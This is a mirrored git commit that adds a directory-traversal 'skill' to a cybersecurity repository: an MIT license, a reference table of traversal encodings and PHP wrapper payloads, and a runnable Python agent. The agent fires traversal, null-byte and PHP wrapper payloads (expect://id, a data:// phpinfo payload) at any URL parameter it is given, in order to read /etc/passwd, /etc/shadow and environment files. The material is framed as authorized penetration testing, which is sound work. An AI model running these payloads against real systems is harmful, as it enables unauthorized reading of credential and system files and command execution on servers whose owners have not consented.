mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-19 22:19:39 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,57 @@
|
||||
# API Reference: Performing Directory Traversal Testing
|
||||
|
||||
## Traversal Payload Encodings
|
||||
|
||||
| Encoding | Example | Description |
|
||||
|----------|---------|-------------|
|
||||
| Plain | `../../../etc/passwd` | Standard Unix traversal |
|
||||
| URL-encoded | `..%2f..%2f..%2fetc%2fpasswd` | Single URL encoding |
|
||||
| Double-encoded | `..%252f..%252f` | Bypass WAF single-decode |
|
||||
| UTF-8 overlong | `..%c0%af..%c0%af` | Bypass charset-based filters |
|
||||
| Backslash (Windows) | `..\\..\\..\\windows\\win.ini` | Windows path traversal |
|
||||
| Mixed separators | `..././..././` | Bypass recursive stripping |
|
||||
|
||||
## PHP Wrapper Protocols (LFI)
|
||||
|
||||
| Wrapper | Description |
|
||||
|---------|-------------|
|
||||
| `php://filter/convert.base64-encode/resource=` | Read file as base64 |
|
||||
| `php://input` | Read from POST body |
|
||||
| `expect://` | Execute system command |
|
||||
| `data://text/plain;base64,` | Inline data injection |
|
||||
| `file:///` | Direct file access |
|
||||
|
||||
## Vulnerability Indicators
|
||||
|
||||
| File | Content Indicator |
|
||||
|------|-------------------|
|
||||
| `/etc/passwd` | `root:x:0:0:` |
|
||||
| `win.ini` | `[fonts]`, `[extensions]` |
|
||||
| `/proc/self/environ` | Environment variables |
|
||||
| `/etc/shadow` | Hashed passwords (critical) |
|
||||
|
||||
## requests Library
|
||||
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `requests.get(url, allow_redirects=False)` | Send traversal payload |
|
||||
| `urllib.parse.urlencode(params)` | Encode parameters with payloads |
|
||||
| `urllib.parse.urlparse(url)` | Parse URL to extract parameters |
|
||||
|
||||
## Key Libraries
|
||||
|
||||
- **requests** (`pip install requests`): HTTP client for payload delivery
|
||||
- **urllib.parse** (stdlib): URL parsing and parameter manipulation
|
||||
|
||||
## OWASP Testing Guide
|
||||
|
||||
| Test ID | Description |
|
||||
|---------|-------------|
|
||||
| WSTG-ATHZ-01 | Testing for Directory Traversal / File Include |
|
||||
|
||||
## References
|
||||
|
||||
- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
|
||||
- [PortSwigger Directory Traversal](https://portswigger.net/web-security/file-path-traversal)
|
||||
- [PayloadsAllTheThings - LFI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)
|
||||
- [HackTricks LFI](https://book.hacktricks.xyz/pentesting-web/file-inclusion)
|
||||
@@ -0,0 +1,262 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Directory Traversal Testing Agent — AUTHORIZED TESTING ONLY
|
||||
Tests web applications for path traversal (LFI) vulnerabilities by
|
||||
injecting traversal sequences into file path parameters.
|
||||
|
||||
WARNING: Only use with explicit written authorization for the target application.
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
TRAVERSAL_PAYLOADS = [
|
||||
"../../../etc/passwd",
|
||||
"..\\..\\..\\windows\\win.ini",
|
||||
"....//....//....//etc/passwd",
|
||||
"..%2f..%2f..%2fetc%2fpasswd",
|
||||
"%2e%2e/%2e%2e/%2e%2e/etc/passwd",
|
||||
"..%252f..%252f..%252fetc%252fpasswd",
|
||||
"..%c0%af..%c0%af..%c0%afetc/passwd",
|
||||
"/etc/passwd",
|
||||
"\\..\\..\\..\\..\\windows\\win.ini",
|
||||
"....\\....\\....\\etc\\passwd",
|
||||
"..%5c..%5c..%5cwindows%5cwin.ini",
|
||||
"/proc/self/environ",
|
||||
"/etc/shadow",
|
||||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||||
"..././..././..././etc/passwd",
|
||||
"..;/..;/..;/etc/passwd",
|
||||
]
|
||||
|
||||
LINUX_INDICATORS = ["root:x:", "root:*:", "daemon:", "bin:x:", "nobody:"]
|
||||
WINDOWS_INDICATORS = ["[fonts]", "[extensions]", "[mci extensions]", "for 16-bit"]
|
||||
|
||||
|
||||
def identify_file_parameters(url: str) -> list[str]:
|
||||
"""Identify URL parameters that likely handle file paths."""
|
||||
file_param_names = [
|
||||
"file", "path", "page", "include", "template", "doc",
|
||||
"document", "folder", "root", "dir", "filename",
|
||||
"download", "read", "load", "view", "content",
|
||||
"img", "image", "src", "resource", "cat",
|
||||
]
|
||||
|
||||
parsed = urlparse(url)
|
||||
params = parse_qs(parsed.query)
|
||||
return [p for p in params if p.lower() in file_param_names]
|
||||
|
||||
|
||||
def test_traversal(url: str, param: str, session: requests.Session = None) -> list[dict]:
|
||||
"""Test a parameter for directory traversal vulnerability."""
|
||||
if session is None:
|
||||
session = requests.Session()
|
||||
|
||||
results = []
|
||||
parsed = urlparse(url)
|
||||
original_params = parse_qs(parsed.query)
|
||||
|
||||
for payload in TRAVERSAL_PAYLOADS:
|
||||
test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()}
|
||||
test_params[param] = payload
|
||||
|
||||
test_url = urlunparse((
|
||||
parsed.scheme, parsed.netloc, parsed.path,
|
||||
parsed.params, urlencode(test_params), parsed.fragment,
|
||||
))
|
||||
|
||||
try:
|
||||
resp = session.get(test_url, timeout=10, allow_redirects=False)
|
||||
body = resp.text
|
||||
|
||||
is_vulnerable = False
|
||||
evidence = ""
|
||||
|
||||
for indicator in LINUX_INDICATORS:
|
||||
if indicator in body:
|
||||
is_vulnerable = True
|
||||
evidence = f"Linux file content detected: '{indicator}'"
|
||||
break
|
||||
|
||||
if not is_vulnerable:
|
||||
for indicator in WINDOWS_INDICATORS:
|
||||
if indicator.lower() in body.lower():
|
||||
is_vulnerable = True
|
||||
evidence = f"Windows file content detected: '{indicator}'"
|
||||
break
|
||||
|
||||
if is_vulnerable:
|
||||
results.append({
|
||||
"url": test_url,
|
||||
"parameter": param,
|
||||
"payload": payload,
|
||||
"status_code": resp.status_code,
|
||||
"vulnerable": True,
|
||||
"evidence": evidence,
|
||||
"response_length": len(body),
|
||||
"severity": "HIGH",
|
||||
})
|
||||
|
||||
except requests.RequestException:
|
||||
continue
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def test_null_byte_bypass(url: str, param: str, session: requests.Session = None) -> list[dict]:
|
||||
"""Test null byte injection to bypass file extension checks."""
|
||||
if session is None:
|
||||
session = requests.Session()
|
||||
|
||||
null_payloads = [
|
||||
"../../../etc/passwd%00",
|
||||
"../../../etc/passwd%00.jpg",
|
||||
"../../../etc/passwd%00.html",
|
||||
"../../../etc/passwd\x00",
|
||||
]
|
||||
|
||||
results = []
|
||||
parsed = urlparse(url)
|
||||
original_params = parse_qs(parsed.query)
|
||||
|
||||
for payload in null_payloads:
|
||||
test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()}
|
||||
test_params[param] = payload
|
||||
|
||||
test_url = urlunparse((
|
||||
parsed.scheme, parsed.netloc, parsed.path,
|
||||
parsed.params, urlencode(test_params), parsed.fragment,
|
||||
))
|
||||
|
||||
try:
|
||||
resp = session.get(test_url, timeout=10)
|
||||
if any(ind in resp.text for ind in LINUX_INDICATORS):
|
||||
results.append({
|
||||
"url": test_url,
|
||||
"payload": payload,
|
||||
"bypass_type": "null_byte",
|
||||
"vulnerable": True,
|
||||
"severity": "CRITICAL",
|
||||
})
|
||||
except requests.RequestException:
|
||||
continue
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def test_wrapper_protocols(url: str, param: str, session: requests.Session = None) -> list[dict]:
|
||||
"""Test PHP wrapper protocols for LFI exploitation."""
|
||||
if session is None:
|
||||
session = requests.Session()
|
||||
|
||||
wrappers = [
|
||||
("php://filter/convert.base64-encode/resource=index", "PHP filter wrapper"),
|
||||
("php://input", "PHP input wrapper"),
|
||||
("expect://id", "PHP expect wrapper"),
|
||||
("data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==", "PHP data wrapper"),
|
||||
("file:///etc/passwd", "file:// wrapper"),
|
||||
]
|
||||
|
||||
results = []
|
||||
parsed = urlparse(url)
|
||||
original_params = parse_qs(parsed.query)
|
||||
|
||||
for wrapper, description in wrappers:
|
||||
test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()}
|
||||
test_params[param] = wrapper
|
||||
|
||||
test_url = urlunparse((
|
||||
parsed.scheme, parsed.netloc, parsed.path,
|
||||
parsed.params, urlencode(test_params), parsed.fragment,
|
||||
))
|
||||
|
||||
try:
|
||||
resp = session.get(test_url, timeout=10)
|
||||
suspicious = (
|
||||
resp.status_code == 200 and
|
||||
len(resp.text) > 100 and
|
||||
"404" not in resp.text.lower()[:200]
|
||||
)
|
||||
if suspicious:
|
||||
results.append({
|
||||
"url": test_url,
|
||||
"wrapper": wrapper,
|
||||
"description": description,
|
||||
"status_code": resp.status_code,
|
||||
"response_length": len(resp.text),
|
||||
"severity": "CRITICAL",
|
||||
})
|
||||
except requests.RequestException:
|
||||
continue
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def generate_report(traversal: list, null_byte: list, wrappers: list) -> str:
|
||||
"""Generate directory traversal testing report."""
|
||||
all_vulns = traversal + null_byte + wrappers
|
||||
lines = [
|
||||
"DIRECTORY TRAVERSAL TESTING REPORT — AUTHORIZED TESTING ONLY",
|
||||
"=" * 65,
|
||||
f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}",
|
||||
f"Total Vulnerabilities Found: {len(all_vulns)}",
|
||||
"",
|
||||
f"TRAVERSAL FINDINGS ({len(traversal)}):",
|
||||
"-" * 40,
|
||||
]
|
||||
|
||||
for v in traversal:
|
||||
lines.append(f" [{v['severity']}] {v['parameter']}: {v['payload']}")
|
||||
lines.append(f" Evidence: {v['evidence']}")
|
||||
|
||||
if null_byte:
|
||||
lines.extend([f"\nNULL BYTE BYPASS ({len(null_byte)}):"])
|
||||
for n in null_byte:
|
||||
lines.append(f" [{n['severity']}] {n['payload']}")
|
||||
|
||||
if wrappers:
|
||||
lines.extend([f"\nWRAPPER PROTOCOL ({len(wrappers)}):"])
|
||||
for w in wrappers:
|
||||
lines.append(f" [{w['severity']}] {w['wrapper']} - {w['description']}")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("[!] DIRECTORY TRAVERSAL TESTING — AUTHORIZED TESTING ONLY\n")
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_url_with_params> [param_name]")
|
||||
print(f" Example: {sys.argv[0]} 'http://target/view?file=report.pdf' file")
|
||||
sys.exit(1)
|
||||
|
||||
target_url = sys.argv[1]
|
||||
param_name = sys.argv[2] if len(sys.argv) > 2 else None
|
||||
|
||||
if not param_name:
|
||||
file_params = identify_file_parameters(target_url)
|
||||
if file_params:
|
||||
param_name = file_params[0]
|
||||
print(f"[*] Auto-detected file parameter: {param_name}")
|
||||
else:
|
||||
print("[!] No file parameter detected. Specify parameter name.")
|
||||
sys.exit(1)
|
||||
|
||||
session = requests.Session()
|
||||
|
||||
print(f"[*] Testing parameter '{param_name}' for directory traversal...")
|
||||
traversal_results = test_traversal(target_url, param_name, session)
|
||||
|
||||
print("[*] Testing null byte bypass...")
|
||||
null_results = test_null_byte_bypass(target_url, param_name, session)
|
||||
|
||||
print("[*] Testing wrapper protocols...")
|
||||
wrapper_results = test_wrapper_protocols(target_url, param_name, session)
|
||||
|
||||
report = generate_report(traversal_results, null_results, wrapper_results)
|
||||
print(report)
|
||||
Reference in New Issue
Block a user